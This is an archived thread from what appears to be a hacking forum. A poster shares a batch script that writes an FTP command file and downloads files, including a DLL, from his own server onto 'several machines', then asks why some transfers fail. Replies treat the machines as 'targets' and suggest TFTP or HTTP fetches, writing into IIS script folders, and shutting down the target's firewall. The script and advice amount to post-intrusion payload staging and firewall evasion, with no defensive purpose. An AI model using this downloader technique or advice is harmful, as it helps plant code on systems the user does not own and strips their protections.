hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

mdk
Hi there,
I wated to remote downlaod some files from my own ftp server. So I wrote a litte ftp script:

echo open myIp myPort >> c:\bla.txt
echo myUser >> c:\bla.txt
echo myPassword >> c:\bla.txt
echo BINARY >> c:\bla.txt
echo GET filenames >> c:\bla.txt
...
echo quit >> c:\bla.txt
@echo off
ftp -s:c:\bla.txt

I tried this on several machines an it works fine on most. But some wont download therese files. Here is the ftp log:

220 Serv-U FTP Server v4.0 for WinSock ready...
USER xxxxx
331 User name okay, need password.
PASS xxxxx
230 User logged in, proceed.
TYPE I
200 Type set to I.
PORT x,x,x,x,x,x
200 PORT Command successful.
RETR TzoLibr.dll
150 Opening BINARY mode data connection for filename (36864 bytes).
425 Cannot open data connection.

and then stoped...
Anyone a clue why?
I tried to de/activate PASV mode, but this didnt change a thing.

Sry for my bad english, but i dont live in an english speaking country smile.gif
Vosgia
your remote server does not allow outbound connections
that mean that it is walled tongue.gif
oYost
I think it's a story of passive, active MODE, on your Serv-u FTP server, dont use passive mode and it will download...

I hope it's working
Copkill
Jo you must be edit the server setting´s in serv-u.

ServUAdmin:

Setting/Advance : Allow Passiv mode to data Transfer,use IP "Server IP" !!!
mdk
hmmmm
I tried several times with and without PASV... But I'll try i once again with Copkills settings.
matze
Do you know if you got the rights to write in the root.
Cause in the script you are uploding to c:\ and on many maschins you dont got the permisson. Just try another c:\inetpup\scripts for example....


G-Ryder
It happens form time to time.. you could either move on, try using TFTP, or read
http://www.governmentsecurity.org/forum/in...?showtopic=4649
and use that method.. grabs the file from http, so u shouldn't have a problem. It may not the the source of the files that the problem, it could be the destination.. so try some other methods and you may get lucky wink.gif
Stephen79
yes, it is most likely a firewalled target.

Check the (echo) host via serv-u admin and you will see idle. Remoltely close the connection, and move on sad.gif
Leonnetje
QUOTE (Stephen79 @ Feb 23 2004, 04:50 PM)
yes, it is most likely a firewalled target.

Check the (echo) host via serv-u admin and you will see idle.  Remoltely close the connection, and move on sad.gif

Or you find out what firewall is running on the machine, and shut it down....

biggrin.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.